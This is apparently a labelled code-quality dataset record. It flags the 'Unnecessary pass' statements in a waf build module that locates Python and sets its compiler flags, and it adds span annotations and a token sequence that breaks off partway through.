Unnecessary pass
hwaf/hwaf/py-hwaftools/find_python.py
[ { "content": "# -*- python -*-\n\n# stdlib imports ---\nimport os\nimport os.path as osp\nimport textwrap\nimport subprocess\ntry:\n subprocess.check_output\nexcept AttributeError:\n subprocess.check_output = check_output\n pass\n\n# waf imports ---\nimport waflib.Utils\nimport waflib.Logs as msg\nfrom waflib.Configure import conf\n\n#\n_heptooldir = osp.dirname(osp.abspath(__file__))\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@conf\ndef find_python(ctx, **kwargs):\n \n ctx.load('hwaf-base', tooldir=_heptooldir)\n\n # prevent hysteresis\n if ctx.env.HWAF_FOUND_PYTHON and not kwargs.get('override', False):\n return\n\n if not ctx.env.HWAF_FOUND_C_COMPILER:\n ctx.fatal('load a C compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_CXX_COMPILER:\n ctx.fatal('load a C++ compiler first')\n pass\n\n # FIXME: take it from a user configuration file ?\n pyversion = kwargs.get(\"version\", None)\n\n # find python\n path_list = waflib.Utils.to_list(kwargs.get('path_list', []))\n if getattr(ctx.options, 'with_python', None):\n topdir = ctx.options.with_python\n topdir = ctx.hwaf_subst_vars(topdir)\n path_list.append(osp.join(topdir, \"bin\"))\n pass\n kwargs['path_list']=path_list\n\n\n ctx.find_program('python', var='PYTHON', **kwargs)\n ctx.hwaf_declare_runtime_env('PYTHON')\n try:\n # temporary hack for clang and glibc-2.16\n # see: \n # http://sourceware.org/git/?p=glibc.git;a=blobdiff;f=misc/sys/cdefs.h;h=fb6c959d903474b38fd0fcc36e17c5290dcd867c;hp=b94147efe8c5bbba718cb2f9d5911a92414864b6;hb=b7bfe116;hpb=43c4edba7ee8224134132fb38df5f63895cbb326\n ctx.check_cxx(\n msg=\"checking for __extern_always_inline\",\n okmsg=\"ok\",\n features=\"cxx cxxshlib\",\n fragment=textwrap.dedent(\n '''\\\n #define _FORTIFY_SOURCE 2\n #include <string.h>\n #include <sys/cdefs.h>\n int foo() { return 42; }\n '''),\n mandatory=True,\n )\n except waflib.Errors.ConfigurationError:\n ctx.env.append_unique('DEFINES',\n ['__extern_always_inline=inline',])\n pass\n\n ctx.load('python')\n if pyversion:\n ctx.check_python_version(pyversion)\n # we remove the -m32 and -m64 options from these flags as they\n # can confuse 'check_python_headers' on darwin...\n save_flags = {}\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n save_flags[n] = ctx.env[n][:]\n if ctx.is_darwin():\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n ctx.env[n] = []\n for v in save_flags[n]:\n if v not in ('-m32', '-m64'):\n ctx.env.append_unique(n, [v])\n\n pass\n ctx.check_python_headers()\n\n # restore these flags:\n for n in ('CXXFLAGS','CFLAGS', 'LINKFLAGS'):\n ctx.env[n] = save_flags[n][:]\n pass\n \n # hack for ROOT on macosx: LIBPATH_PYEMBED won't point at\n # the directory holding libpython.{so,a}\n pylibdir = ctx.env['LIBPATH_PYEMBED']\n cmd = ctx.hwaf_subst_vars('${PYTHON_CONFIG}')\n for arg in [#('--includes', 'INCLUDES'),\n ('--ldflags', 'LIBPATH'),\n #('--cflags', 'CXXFLAGS'),\n ]:\n o = subprocess.check_output(\n [cmd, arg[0]]\n )\n o = str(o)\n ctx.parse_flags(o, 'python')\n pylibdir = waflib.Utils.to_list(ctx.env['LIBPATH_python'])[:]\n\n # rename the uselib variables from PYEMBED to python\n ctx.copy_uselib_defs(dst='python', src='PYEMBED')\n \n ## the / in PYTHONARCHDIR and PYTHONDIR can confuse some clever software (rootcint)\n ## remove them from the DEFINES list, keep them in DEFINES_PYEMBED and DEFINES_PYEXT\n defines = [x for x in ctx.env[\"DEFINES\"]\n if not (x.startswith(\"PYTHONARCHDIR=\") or\n x.startswith(\"PYTHONDIR\"))]\n ctx.env[\"DEFINES\"] = defines\n ctx.env[\"define_key\"] = [\n k for k in ctx.env[\"define_key\"]\n if not (x in (\"PYTHONARCHDIR\", \"PYTHONDIR\"))\n ]\n for py in (\"PYEXT\", \"PYEMBED\"):\n for k in (\"PYTHONARCHDIR\", \"PYTHONDIR\"):\n ctx.env.append_unique(\"DEFINES_%s\" % py, \"%s=%s\" % (k, ctx.env.get_flat(k)))\n pass\n pass\n ####\n \n # FIXME: hack for python-lcg.\n # python-config --ldflags returns the wrong directory .../config...\n if pylibdir and \\\n (osp.exists(osp.join(pylibdir[0],\n 'libpython%s.so'%ctx.env['PYTHON_VERSION']))\n or\n osp.exists(osp.join(pylibdir[0],\n 'libpython%s.a'%ctx.env['PYTHON_VERSION']))):\n ctx.env['LIBPATH_python'] = pylibdir[:]\n else:\n # PYEMBED value should be ok.\n pass\n \n # disable fat/universal archives on darwin\n if ctx.is_darwin():\n for n in ('CFLAGS', 'CXXFLAGS', 'LINKFLAGS'):\n args = []\n indices = []\n for i,a in enumerate(ctx.env['%s_python'%n]):\n if a == '-arch':\n # removes ['-arch', 'x86_64']\n indices.append(i)\n indices.append(i+1)\n args = [a for i,a in enumerate(ctx.env['%s_python'%n])\n if not (i in indices)]\n ctx.env['%s_python'%n] = args[:]\n \n # make sure the correct arch is built (32/64 !!)\n arch_flag = []\n if ctx.is_darwin():\n if ctx.is_32b(): arch_flag = ['-arch', 'i386']\n else: arch_flag = ['-arch', 'x86_64']\n elif ctx.is_linux(): \n if ctx.is_32b(): arch_flag = ['-m32',]\n else: arch_flag = ['-m64',]\n elif ctx.is_freebsd(): \n if ctx.is_32b(): arch_flag = ['-m32',]\n else: arch_flag = ['-m64',]\n else:\n pass\n \n for n in ('CFLAGS', 'CXXFLAGS', 'LINKFLAGS'):\n ctx.env.append_unique('%s_python'%n, arch_flag)\n \n # disable the creation of .pyo files\n ctx.env['PYO'] = 0\n\n # retrieve the prefix\n cmd = [ctx.env.PYTHON_CONFIG, \"--prefix\"]\n lines=ctx.cmd_and_log(cmd).split()\n ctx.env[\"PYTHON_PREFIX\"] = lines[0]\n ctx.env[\"LIBPATH_python\"] = [l.replace(\"6464\", \"64\")\n for l in ctx.env[\"LIBPATH_python\"]]\n\n # register the python module\n import sys\n fname = sys.modules['waflib.Tools.python'].__file__\n if fname.endswith('.pyc'): fname = fname[:-1]\n ctx.hwaf_export_module(ctx.root.find_node(fname).abspath())\n\n ctx.env.HWAF_FOUND_PYTHON = 1\n return", "metadata": "root.find_python", "header": "['module', '___EOS___']", "index": 64 }, { "content": "@conf\ndef find_python_module(ctx, module_name, condition='', **kwargs):\n \n ctx.load('hwaf-base', tooldir=_heptooldir)\n\n if not ctx.env.CXX and not ctx.env.CC:\n msg.fatal('load a C or C++ compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_PYTHON:\n ctx.find_python()\n pass\n\n found = False\n os_env = dict(os.environ)\n try:\n ctx.env.stash()\n env = ctx._get_env_for_subproc()\n for k,v in env.items():\n os.environ[k] = v\n pass\n ctx.check_python_module(module_name, condition)\n found = True\n except ctx.errors.ConfigurationError:\n os.environ = os_env\n ctx.env.revert()\n found = False\n pass\n finally:\n os.environ = os_env\n pass\n\n if not found and kwargs.get('mandatory', True):\n ctx.fatal(\"python module %s not found\" % module_name)\n return", "metadata": "root.find_python_module", "header": "['module', '___EOS___']", "index": 239 } ]
[ { "span": "pass", "start_line": 42, "start_column": 4, "end_line": 42, "end_column": 8 }, { "span": "pass", "start_line": 75, "start_column": 8, "end_line": 75, "end_column": 12 }, { "span": "pass", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 12 }, { "span": "pass", "start_line": 90, "start_column": 8, "end_line": 90, "end_column": 12 }, { "span": "pass", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 12 }, { "span": "pass", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 12 }, { "span": "pass", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 12 }, { "span": "pass", "start_line": 172, "start_column": 12, "end_line": 172, "end_column": 16 }, { "span": "pass", "start_line": 173, "start_column": 8, "end_line": 173, "end_column": 12 }, { "span": "pass", "start_line": 246, "start_column": 8, "end_line": 246, "end_column": 12 }, { "span": "pass", "start_line": 250, "start_column": 8, "end_line": 250, "end_column": 12 }, { "span": "pass", "start_line": 259, "start_column": 12, "end_line": 259, "end_column": 16 }, { "span": "pass", "start_line": 266, "start_column": 8, "end_line": 266, "end_column": 12 }, { "span": "pass", "start_line": 269, "start_column": 8, "end_line": 269, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "python", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stdlib", " ", "import", "s", " ", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "as_", "osp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "textwrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subprocess_", "._", "check", "\\u", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "output_", "=_", "check", "\\u", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "waf", " ", "import", "s", " ", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "waf", "lib_", "._", "Utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "waf", "lib_", "._", "Logs_", "as_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "waf", "lib_", "._", "Configure", "_", "import_", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "hep", "tool", "dir_", "=_", "osp_", "._", "dirname_", "(_", "osp_", "._", "abspath_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "\\u", "python_", "(_", "ctx_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "load_", "(_", "'", "hwa", "f", "-", "base", "'_", ",_", "tool", "dir_", "=_", "\\u", "hep", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "prevent", " ", "hys", "tere", "sis_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "PYTHON", "_", "and_", "not_", "kwargs_", "._", "get_", "(_", "'", "override", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "C", "\\u", "COMPILER", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "fatal_", "(_", "'", "load", " ", "a", " ", "C", " ", "compiler", " ", "first", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "CXX", "\\u", "COMPILER", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "fatal_", "(_", "'", "load", " ", "a", " ", "C", "++", " ", "compiler", " ", "first", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "take", " ", "it", " ", "from", " ", "a", " ", "user", " ", "configura", "tion", " ", "file", " ", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pyv", "ersion_", "=_", "kwargs_", "._", "get_", "(_", "\"", "version", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "path", "\\u", "list_", "=_", "waf", "lib_", "._", "Utils_", "._", "to", "\\u", "list_", "(_", "kwargs_", "._", "get_", "(_", "'", "path", "\\u", "list", "'_", ",_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "getattr_", "(_", "ctx_", "._", "options_", ",_", "'", "with", "\\u", "python", "'_", ",_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topdi", "r_", "=_", "ctx_", "._", "options_", "._", "with", "\\u", "python_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topdi", "r_", "=_", "ctx_", "._", "hwa", "f", "\\u", "subst", "\\u", "vars_", "(_", "topdi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "list_", "._", "append_", "(_", "osp_", "._", "join_", "(_", "topdi", "r_", ",_", "\"", "bin", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kwargs_", "[_", "'", "path", "\\u", "list", "'_", "]_", "=_", "path", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "find", "\\u", "program_", "(_", "'", "python", "'_", ",_", "var_", "=_", "'", "PYTHON", "'_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "hwa", "f", "\\u", "declar", "e\\u", "runt", "ime", "\\u", "env_", "(_", "'", "PYTHON", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "temporar", "y", " ", "hack", " ", "for", " ", "clang", " ", "and", " ", "glib", "c", "-", "2.1", "6_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "see", ":", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "source", "ware", ".", "org", "/", "git", "/?", "p", "=", "glib", "c", ".", "git", ";", "a", "=", "blob", "diff", ";", "f", "=", "misc", "/", "sys", "/", "cdef", "s", ".", "h", ";", "h", "=", "fb", "6c", "959", "d", "903", "474", "b3", "8f", "d0", "fcc", "3", "6e", "1", "7c", "529", "0d", "cd", "867", "c", ";", "hp", "=", "b9", "414", "7e", "fe", "8c", "5b", "bba", "718", "cb", "2f", "9", "d5", "911", "a9", "241", "486", "4b", "6", ";", "hb", "=", "b7", "bf", "e1", "16", ";", "hp", "b", "=", "4", "3c", "4e", "dba", "7e", "e8", "224", "134", "132", "fb", "3", "8d", "f5", "f6", "389", "5c", "bb", "326", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "check", "\\u", "cxx", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "checking", " ", "for", " ", "\\u\\u", "extern", "\\u", "alw", "ay", "s", "\\u", "inline", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ok", "msg_", "=_", "\"", "ok", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "\"", "cxx", " ", "cxx", "shl", "ib", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fragment_", "=_", "textwrap_", "._", "dedent_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "#", "defin", "e", " ", "\\u", "FORT", "IF", "Y", "\\u", "SOU", "RC", "E", " ", "2", "\\", "10", ";", " ", " ", " ", " ", "#", "include", " ", "<", "string", ".", "h", ">", "\\", "10", ";", " ", " ", " ", " ", "#", "include", " ", "<", "sys", "/", "cdef", "s", ".", "h", ">", "\\", "10", ";", " ", " ", " ", " ", "int", " ", "foo", "()", " ", "{", " ", "return", " ", "4", "2", ";", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "'''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mandatory_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "waf", "lib_", "._", "Errors_", "._", "Configura", "tion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "._", "append", "\\u", "unique_", "(_", "'", "DEFINE", "S", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'\\u", "\\u", "extern", "\\u", "alw", "ay", "s", "\\u", "inline", "=", "inline", "'_", ",_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "._", "load_", "(_", "'", "python", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pyv", "ersion_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "check", "\\u", "python", "\\u", "version_", "(_", "pyv", "ersion_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "remove", " ", "the", " ", "-", "m3", "2", " ", "and", " ", "-", "m", "64", " ", "options", " ", "from", " ", "these", " ", "flags", " ", "as", " ", "the", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", " ", "conf", "use", " ", "'", "check", "\\u", "python", "\\u", "header", "s", "'", " ", "on", " ", "dar", "win", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "save", "\\u", "flags_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "(_", "'", "CXX", "FLAG", "S", "'_", ",_", "'", "CFLAGS", "'_", ",_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "\\u", "flags_", "[_", "n_", "]_", "=_", "ctx_", "._", "env_", "[_", "n_", "]_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ctx_", "._", "is", "\\u", "dar", "win_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "n_", "in_", "(_", "'", "CXX", "FLAG", "S", "'_", ",_", "'", "CFLAGS", "'_", ",_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "[_", "n_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "v_", "in_", "save", "\\u", "flags_", "[_", "n_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "v_", "not_", "in_", "(_", "'-", "m3", "2", "'_", ",_", "'-", "m", "64", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ctx_", "._", "env_", "._", "append", "\\u", "unique_", "(_", "n_", ",_", "[_", "v_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "._", "check", "\\u", "python", "\\u", "headers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "restore", " ", "these", " ", "flags", ":_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "(_", "'", "CXX", "FLAG", "S", "'_", ",_", "'", "CFLAGS", "'_", ",_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "[_", "n_", "]_", "=_", "save", "\\u", "flags_", "[_", "n_", "]_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hack", " ", "for", " ", "ROO", "T", " ", "on", " ", "macos", "x", ":", " ", "LIB", "PATH", "\\u", "PY", "EMBED", " ", "won", "'", "t", " ", "point", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "director", "y", " ", "holding", " ", "libp", "yth", "on", ".", "{", "so", ",", "a", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pyli", "bdi", "r_", "=_", "ctx_", "._", "env_", "[_", "'", "LIB", "PATH", "\\u", "PY", "EMBED", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "ctx_", "._", "hwa", "f", "\\u", "subst", "\\u", "vars_", "(_", "'$", "{", "PYTHON", "\\u", "CONFIG", "}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "arg_", "in_", "[_", "#(", "'--", "include", "s", "',", " ", "'", "INCLUDE", "S", "')", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'--", "ldf", "lags", "'_", ",_", "'", "LIB", "PATH", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#(", "'--", "cflags", "',", " ", "'", "CXX", "FLAG", "S", "')", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "o_", "=_", "subprocess_", "._", "check", "\\u", "output_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "cmd_", ",_", "arg_", "[_", "0_", "]_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "o_", "=_", "str_", "(_", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "parse", "\\u", "flags_", "(_", "o_", ",_", "'", "python", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pyli", "bdi", "r_", "=_", "waf", "lib_", "._", "Utils_", "._", "to", "\\u", "list_", "(_", "ctx_", "._", "env_", "[_", "'", "LIB", "PATH", "\\u", "python", "'_", "]_", ")_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "rename", " ", "the", " ", "usel", "ib", " ", "variab", "les", " ", "from", " ", "PY", "EMBED", " ", "to", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "copy", "\\u", "usel", "ib", "\\u", "defs_", "(_", "dst_", "=_", "'", "python", "'_", ",_", "src_", "=_", "'", "PY", "EMBED", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "the", " ", "/", " ", "in", " ", "PYTHON", "ARCH", "DIR", " ", "and", " ", "PYTHON", "DIR", " ", "can", " ", "conf", "use", " ", "some", " ", "clev", "er", " ", "software", " ", "(", "root", "cin", "t", ")_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "remove", " ", "them", " ", "from", " ", "the", " ", "DEFINE", "S", " ", "list", ",", " ", "keep", " ", "them", " ", "in", " ", "DEFINE", "S", "\\u", "PY", "EMBED", " ", "and", " ", "DEFINE", "S", "\\u", "PY", "EXT_", "\\u\\u\\uNL\\u\\u\\u_", "defines_", "=_", "[_", "x_", "for_", "x_", "in_", "ctx_", "._", "env_", "[_", "\"", "DEFINE", "S", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "(_", "x_", "._", "startswith_", "(_", "\"", "PYTHON", "ARCH", "DIR", "=\"_", ")_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "startswith_", "(_", "\"", "PYTHON", "DIR", "\"_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "\"", "DEFINE", "S", "\"_", "]_", "=_", "defines_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "\"", "defin", "e\\u", "key", "\"_", "]_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "k_", "for_", "k_", "in_", "ctx_", "._", "env_", "[_", "\"", "defin", "e\\u", "key", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "(_", "x_", "in_", "(_", "\"", "PYTHON", "ARCH", "DIR", "\"_", ",_", "\"", "PYTHON", "DIR", "\"_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "py_", "in_", "(_", "\"", "PY", "EXT", "\"_", ",_", "\"", "PY", "EMBED", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", "in_", "(_", "\"", "PYTHON", "ARCH", "DIR", "\"_", ",_", "\"", "PYTHON", "DIR", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "._", "append", "\\u", "unique_", "(_", "\"", "DEFINE", "S", "\\u", "%", "s", "\"_", "%_", "py_", ",_", "\"%", "s", "=", "%", "s", "\"_", "%_", "(_", "k_", ",_", "ctx_", "._", "env_", "._", "get", "\\u", "flat_", "(_", "k_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "hack", " ", "for", " ", "python", "-", "lc", "g", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "python", "-", "config", " ", "--", "ldf", "lags", " ", "return", "s", " ", "the", " ", "wrong", " ", "director", "y", " ", "...", "/", "config", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "pyli", "bdi", "r_", "and_", "(_", "osp_", "._", "exists_", "(_", "osp_", "._", "join_", "(_", "pyli", "bdi", "r_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "libp", "yth", "on", "%", "s", ".", "so", "'_", "%_", "ctx_", "._", "env_", "[_", "'", "PYTHON", "\\u", "VERSI", "ON", "'_", "]_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "osp_", "._", "exists_", "(_", "osp_", "._", 